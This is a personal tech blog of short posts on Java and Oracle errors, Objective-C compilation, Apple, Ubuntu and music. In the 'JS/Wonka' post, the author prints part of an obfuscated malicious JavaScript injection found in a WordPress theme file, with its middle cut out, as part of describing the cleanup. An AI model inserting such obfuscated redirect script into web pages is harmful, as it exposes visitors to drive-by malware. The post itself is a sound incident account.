	at java.util.concurrent.FutureTask$Sync.innerRunAndReset(FutureTask.java:317)

	at java.util.concurrent.FutureTask.runAndReset(FutureTask.java:150)

	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$101(ScheduledThreadPoolExecutor.java:98)

	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.runPeriodic(ScheduledThreadPoolExecutor.java:181)

	at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:205)

	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)

	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)

	at java.lang.Thread.run(Thread.java:619)

Problem appears to be the byte order mark in the XML file, which sticks out like a sore thumb in Eclipse:

Resolution? Remove the BOM, rebuild, then redeploy.

Those Pesky Laws of Physics

Steve Jobs offers up his non-apology on iPhone 4 antenna issues, and goes into full defense mode. Here’s your rubber bumper.

Memo to Steve: Fix the problem instead of offering up a workaround. And quit being a jerk.

In other news, only three weeks left to the GMAT. (Yeah, after three months of study, I’m close to burning out… onward!)

RIP, Macintosh?

Yeah, not much mention, if any, of Mac at WWDC this week, but it’s hardly the beginning of the end for iMacs and MacBook Pros. The iPad is hardly the preferred platform for developing apps or useful work with Final Cut Pro or Aperture, for example.

Bah, Lyons is reaching here.

No So Lucid Lynx

Since upgrading to Ubuntu 10.04, my trusty ThinkPad hangs on shutdown about 75% of the time. I see on the forums this is a known issue.

Lucid Lynx will gracefully power off when the shutdown background is blue; otherwise, it’ll just sit there. Waiting, and waiting, and waiting…

There are problems with the logo, too. It looks like this whether the shutdown is successful or not.

Joy Division

18 May 1980.

Wow, 30 years since Ian Curtis died. His death was the end of Joy Division, but ultimately the beginning of New Order.

RIP.

Compiling Objective-C Programs in Windows

This post was derived from an article on compiling Objective-C programs in Windows using gcc under GNUstep. That great article also provides details on compiling in Linux and Mac OS X (outside Xcode).

1) Download and install GNUstep System and GNUstep Core. I used 0.24.2 stable release of GNUstep to compile these notes but they may work under newer versions.

2) Run msys.bat which, if you installed GNUstep with the defaults, will be located in C:\GNUstep.

3) Change to home directory (/home/username) containing your Objective-C source.

4) Create the hello.m source.

/******************* hello.m ***********************/
#import <Foundation/Foundation.h>

@interface HelloWorld : NSObject
 - (void) hello;
@end

@implementation HelloWorld
- (void) hello {
  NSLog(@"hello world!");
}
@end

int main(void) {
  HelloWorld *hw = [[HelloWorld alloc] init];
  [hw hello];
  [hw release];
}

/******************* end ***********************/

5) Compile the application.

gcc `gnustep-config --objc-flags` -o hello hello.m -L /GNUstep/System/Library/Libraries -lobjc -lgnustep-base

If that doesn’t work try:

gcc -o hello hello.m -I /GNUstep/System/Library/Headers -L /GNUstep/System/Library/Libraries -lobjc -lgnustep-base -fconstant-string-class=NSConstantString

or

gcc `gnustep-config --objc-flags` -o hello hello.m -I /GNUstep/System/Library/Headers -L /GNUstep/System/Library/Libraries -lobjc -lgnustep-base -enable-auto-import

All three of these commands worked fine for me.

6) Run ./hello

7) Optionally, you can compile using make. To do so create a GNUmakefile in your home directory where your Objective-C files are located.

include $(GNUSTEP_MAKEFILES)/common.make
TOOL_NAME = hello
hello_OBJC_FILES = hello.m
include $(GNUSTEP_MAKEFILES)/tool.make

Now run make.

Run ./hello which will be in the obj directory under your home directory.

ORA-06580: PL/SQL: could not find program unit being called

Our IVR application started receiving an ORA-06580 error from a certain stored procedure after a separate but related package was pushed into production the day earlier. The package had compiled fine, was a valid package, and had all necessary execute privileges assigned to its users. The DBAs could not find any issues with the package or procedure whatsoever.

The procedure ran successfully without error for various users, yet the error only occurred for a single user – the data source user that we have specified in the app server (OAS). Assuming that there might be a stale or invalid JDBC connection or some issue with connection pooling, it was decided to restart the wireless containers on the application server. And sure enough, the error went away.

I’m still scratching my head on this one because in the 5 years that we’ve been running Oracle application server, this is the first time that the containers had to be bounced after a production database update. Not sure if this is a one-off event that will never come up again, or if we’re going to have to repeat the process for every production push from now on.

To summarize,

Problem: ORA-06580: PL/SQL: could not find program unit being called
Fix: Restart the OAS containers.

QQ829

I was checking out my visitor stats this evening and noticed a large number of hits coming from China with a referring URL of http://www.qq829.com/web_stat.asp?dn=www.example.com that seemed strange and out-of-place.

Apparently, it’s not a good idea to click on these links:

(W)e have received reports of nearly 600 Scripting Exploits, along with nearly 60 General Exploits, and at least 11 pieces of malware including Trojan Horses.

There is, however, a .htaccess fix that seems to be working for me in blocking this traffic:

RewriteEngine on
# Options +FollowSymlinks
RewriteCond %{HTTP_REFERER} cnzz\.cn [NC,OR]
RewriteCond %{HTTP_REFERER} qq829\.com [NC]
RewriteRule .* - [F]

Evolution of Product Packaging

The IT support geek as a hand sanitizer container:

James Gosling

The “father of Java” resigned from Sun Oracle a few weeks ago. Not sure if that is a bad omen for the future of Java or not, but these types of things tend happen when one company takes over another. The tone of his post certainly points to an unpleasant departure, but at least he started a new blog and took all his Sun posts with him.

His book The Java Programming Language was one of the very first books I read on Java, and I’d describe it as a necessary book if you are going to develop using Java.

Bigger Type Length Than Maximum

Problem: Connecting to an Oracle 10g database via Oracle JDBC driver and Java 1.4.2, generates the following SQLException:

Establishing connection with jdbc:oracle:thin:@bomdev:1521:DEV1... Connected!
java.sql.SQLException: Bigger type length than Maximum
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:125)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:162)
	at oracle.jdbc.driver.DatabaseError.check_error(DatabaseError.java:885)
	at oracle.jdbc.driver.T4CMAREngine.buffer2Value(T4CMAREngine.java:2202)
	at oracle.jdbc.driver.T4CMAREngine.unmarshalUB4(T4CMAREngine.java:1150)
	at oracle.jdbc.driver.T4CMAREngine.unmarshalDALC(T4CMAREngine.java:2076)
	at oracle.jdbc.driver.T4C8TTIuds.unmarshal(T4C8TTIuds.java:132)
	at oracle.jdbc.driver.T4CTTIdcb.receiveCommon(T4CTTIdcb.java:126)
	at oracle.jdbc.driver.T4CTTIdcb.receiveFromRefCursor(T4CTTIdcb.java:104)
	at oracle.jdbc.driver.T4CResultSetAccessor.unmarshalOneRow(T4CResultSetAccessor.java:167)
	at oracle.jdbc.driver.T4CTTIrxd.unmarshal(T4CTTIrxd.java:792)
	at oracle.jdbc.driver.T4CTTIrxd.unmarshal(T4CTTIrxd.java:708)
	at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:530)
	at oracle.jdbc.driver.T4CCallableStatement.doOall8(T4CCallableStatement.java:181)
	at oracle.jdbc.driver.T4CCallableStatement.execute_for_rows(T4CCallableStatement.java:784)
	at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1027)
	at oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:2885)
	at oracle.jdbc.driver.OraclePreparedStatement.execute(OraclePreparedStatement.java:2976)
	at oracle.jdbc.driver.OracleCallableStatement.execute(OracleCallableStatement.java:4112)
	at com.pnm.utils.banner.StoredProc.execute(StoredProc.java:61)
	at com.pnm.utils.banner.StoredProc.testAddress(StoredProc.java:186)
	at com.pnm.utils.banner.StoredProc.main(StoredProc.java:569)
java.sql.SQLException: Protocol violation
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:125)
	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:162)
	at oracle.jdbc.driver.DatabaseError.check_error(DatabaseError.java:885)
	at oracle.jdbc.driver.T4C7Ocommoncall.receive(T4C7Ocommoncall.java:136)
	at oracle.jdbc.driver.T4CConnection.logoff(T4CConnection.java:388)
	at oracle.jdbc.driver.PhysicalConnection.close(PhysicalConnection.java:1047)
	at com.pnm.utils.banner.StoredProc.closeConnection(StoredProc.java:70)
	at com.pnm.utils.banner.StoredProc.main(StoredProc.java:609)

Per the manifest in ojdbc14.jar:

Manifest-Version: 1.0
Implementation-Version: "Oracle JDBC Driver version - 10.1.0.3.0"
Specification-Title:    "Oracle JDBC driver classes for use with JDK1
.4"
Specification-Version:  "Oracle JDBC Driver version - 10.1.0.3.0"
Implementation-Title:   "ojdbc14.jar"
Created-By: 1.2.2 (Sun Microsystems Inc.)
Implementation-Time:    "Thu Jul 15 02:16:50 2004"
Implementation-Vendor:  "Oracle Corporation"
Specification-Vendor:   "Oracle Corporation" .

Solution: Try an updated version of ojdbc14.jar which can be downloaded here. For this particular issue, the manifests for the following libraries resolved the exception:

Manifest-Version: 1.0
Implementation-Version: "Oracle JDBC Driver version - 10.1.0.5.0"
Specification-Title:    "Oracle JDBC driver classes for use with JDK1.
 4"
Specification-Version:  "Oracle JDBC Driver version - 10.1.0.5.0"
Implementation-Title:   "ojdbc14.jar"
Created-By: 1.2.2 (Sun Microsystems Inc.)
Implementation-Time:    "Wed Dec 28 05:06:13 2005"
Implementation-Vendor:  "Oracle Corporation"
Specification-Vendor:   "Oracle Corporation" .

and

Manifest-Version: 1.0
Specification-Title:    Oracle JDBC driver classes for use with JDK14
Sealed: true
Created-By: 1.4.2_08 (Sun Microsystems Inc.)
Implementation-Title:   ojdbc14.jar
Specification-Vendor:   Oracle Corporation
Specification-Version:  Oracle JDBC Driver version - "10.2.0.3.0"
Implementation-Version: Oracle JDBC Driver version - "10.2.0.3.0"
Implementation-Vendor:  Oracle Corporation
Implementation-Time:    Fri Sep 29 09:43:24 2006

Name: oracle/sql/converter/
Sealed: false

Name: oracle/sql/
Sealed: false

Name: oracle/sql/converter_xcharset/
Sealed: false

iDone, Revisited

As I wrote a few months back, I became a bit dismayed by Apple’s closed architecture on the iPhone, iPod, and continuing now with the iPad.

Andrew Sullivan today linked to an interesting article on the growing “MacSchism” regarding Apple’s tight control over its products, the article ending with a great observation by Umberto Eco:

Over 15 years ago, at the dawn of the Web, Umberto Eco observed that the Mac was Catholic in its gentle, aesthetically “sumptuous” guidance, DOS Protestant in its burdens on the individual, and Windows a kind of Anglican compromise. (Linux and open source, which appeared after this essay, might be compared to the more radically democratic Reformation movements.) So perhaps the early Mac enthusiasts misunderstood the deepest foundations of Apple’s culture. Wasn’t Mr. Johnson’s preferred metaphor, the enclosed garden, a theme of the Song of Songs that became one of the most beautiful literary and visual images of (and sometimes metaphors for) the medieval Church?

The Eccentricity of Kraftwerk

Mannequins, robots, and ringerless phones. From Wikipedia:

The band is notoriously reclusive; providing rare and enigmatic interviews, using life size mannequins and robots to conduct official photo shoots, refusing to accept mail and not allowing visitors at Kling Klang Studio. Another notable example of this eccentric behavior was reported to Johnny Marr of The Smiths by Karl Bartos, who explained that anyone trying to contact the band for collaboration would be told the studio telephone did not have a ringer, since during recording, the band did not like to hear any kind of noise pollution. Instead, callers were instructed to phone the studio precisely at a certain time, whereupon the phone would be answered by Ralf Hütter, despite never hearing the phone ring.

JInitiator Causing Internet Explorer To Crash

Problem: Attempting to launch an Oracle Forms web application is causing Internet Explorer to crash, specifically IE is complaining about the Oracle JInitiator JVM, jvm.dll. Apparently Oracle’s JVM (1.3.1.22) is incompatible with IE7. Here’s the familiar crash dialog; turns out it’s a nice paint brush:

The Fix: Fortunately, resolving this is easy, you’ll just need access to Sun’s JRE. You can find the problematic jvm.dll in the \Program Files\Oracle\JInitiator 1.3.1.xx\bin\hotspot directory. Rename jvm.dll (or just delete it) and replace it with Sun’s version, which, if the JRE is installed on your system, is probably located at \Program Files\Java\jre1.x.x\bin\client. Once installed, fire up IE and run the web app again, all should be well.

I’ve tested this with JRE versions 1.4.2.130 and 5.0.210.1. This fix would not work with v6 DLLs, as it would simply cause IE to rudely crash, with no helpful crash dialog at all.

Lotus Notes

It brings back many memories, all unpleasant. Yes, it does suck that bad.

JS/Wonka

I’m still not sure how it happened, but somehow my blog was infected with the JS/Wonka trojan at some point in the last few weeks.

I knew something was amiss when I tried to reach michaelzanussi.com from the office and was immediately redirected to the company’s “This Website has been Blocked” page. The vague reason given was for “malicious code”. Shocking to see that, to say the least.

Back at home, things looked okay for a few seconds until I noticed being redirected to some random sites (superpages.com, primosearch.com, blueseek.com, hellometro.com, etc., and a few dreaded IPs that who knows housed what nefarious things.) I encountered the same behavior with Chrome and Firefox, but not with Safari. When I tried in IE on my wife’s Window’s netbook, McAfee actually identified the trojan and removed it prior to rendering.

With that info in hand and a few minutes research, I found the problem in the WordPress theme file header.php. Someone/thing had inserted some malicious JavaScript. I won’t repeat the whole string here, it came in at 1989 bytes, but it was pretty obvious this was alien code that did not belong:

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Doepx

…snip…

/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>

It was a simple matter of deleting the offending code, and now, it appears, the problem is resolved.

2/25/2010 Update: As of last night, I’d been running WordPress 2.7.1 for quite some time and I’m starting to wonder if there is a way to exploit earlier WP versions that would allow anyone to create users with Admin privileges. After deleting a bunch of users last night, I noticed a new user setup as an Admin tonight. I’ve since upgraded to 2.9.2, we’ll see if it has any affect.

I also wrote a quick Java app to decode the obfuscated JavaScript that was injected, and it looks like the redirects have been routing through itsallbreaksoft.net and then redirecting elsewhere. It didn’t take long to find a lot of recent blog activity related to this exploit, and at this time doesn’t seem to make much sense to post a code analysis here, you can read a good summary at TechnoSocial.

Ugh.

Oracle Completes Acquisition of Sun.

How ’bout that iPad though? All hype, or not?

Please God Make It Stop Make It End

Making the rounds on the ‘net, geek film criticism at its finest, the 7-part 70 minute review of Star Wars Episode I: The Phantom Menace. Not to be missed, even by the non-geeks out there. Enjoy.

Part 1:

Part 2:

Part 3:

Part 4:

Part 5:

Part 6:

Part 7:

Firefox Memory Leak

I can’t blame Windows on this one. I’d been noticing significant performance degradation of my office PC and it would appear to be a memory leak of some sort in Firefox 3.5.6:

firefox_memory_leak

Yikes, that’s not good. Might be an add-on or something. Guess I’ll have to try and narrow that down at some point, but quite honestly, I’m not in the mood to troubleshoot the problem. I’ll just restart Firefox:

firefox_gpf

Now it just GPFs after 5 minutes shutting the app down. Can’t be too surprised, I guess, a 1034K memory leak might lead to such things.

firefox_gpf2

I’m not at all familiar with xul.dll, not sure if it’s the root cause or simply a side effect, but I guess it’s a good enough starting point. Off to Google after a reboot!

Plain Letter

With World of Warcraft patch 3.3, you get an extra bonus with your expired AH items:

plain_letter_14340

0:0:14340:360:0

iDone

I’ve been playing around with the iPhone SDK for a few months now. They’re cool devices and developing iPhone/iPod touch apps is a lot of fun.

But, I’m not so enamored with the platform that I’ll likely continue developing for it anymore. Apple tightly controls development on the devices, and that closed of a system is a big turn-off for me. From requiring $100 to join Apple Developer Connection so I can deploy to my own device to their App Store review and approval process, I’m just not sure it’s worth much more of my time, more so now that Android is running wild ( a serious iPhone threat, mark my words.)

For now, I’ll go back to Mac development.

My Yahoo! Content Strangeness

Adding and using new content in My Yahoo! in the form of an RSS or Atom feed usually works great. Sometimes, though, things go haywire. A common example is the “Oops! There was a problem loading this content. Please check back later.” message where content would normally be. But that typically clears itself up with a page reload.

Recently, though, Yahoo! has been having a little problem with some of my content. With most content, you hover your mouse over the title bar where the content title is located and you’ll see the URL displayed in the status bar. For some bizarre reason, however, although the title on the problematic context says michaelzanussi.com, it’s actually pointing to jaysonknight.com:

yahoo_rss_content

It’s been like that for a week now. Odd, huh? So far, I haven’t found any references to this issue on the web, but that’s probably due to how I’m searching for it. Adding the RSS feed again resolves the problem, but it would be interesting to find out what’s going on here.

Hover Not Working as Expected While Debugging in Eclipse

I recently upgraded Eclipse to the latest version Galileo (build 20090920-1017) and noticed immediately that values are no longer displayed when you hover your mouse over a variable while debugging. Hover in Debug perspective was behaving the same as in Java perspective:

debug_hover_broken

I tried the usual stuff like cleaning the project or re-importing the project, verifying settings and preferences, but nothing had an effect. In fact, this problem was occurring in every project in my workspace.

What ultimately fixed this issue was something I would never have guessed unless I just stumbled upon it by accident. Which, of course, I did. The solution? Renaming the package (Refactor -> Rename...) Now, hover is working just fine, in all projects:

debug_hover_working

I’m still scratching my head as to why this solved my problem.

Edited to add: I posted this over at Stack Overflow and one of the suggestions was to go into Window -> Preferences -> Java -> Editor -> Hovers and select the Variable Values option and assign a modifier.

When I was first trying to resolve this issue, this was one of the options I looked at, but oddly enough, there was no Variable Values preference available, it was missing. Once my “fix” above was applied, it magically appeared:

hovers_preferences

What exactly did renaming the package do here, and why would it have such widespread consequences? Strange.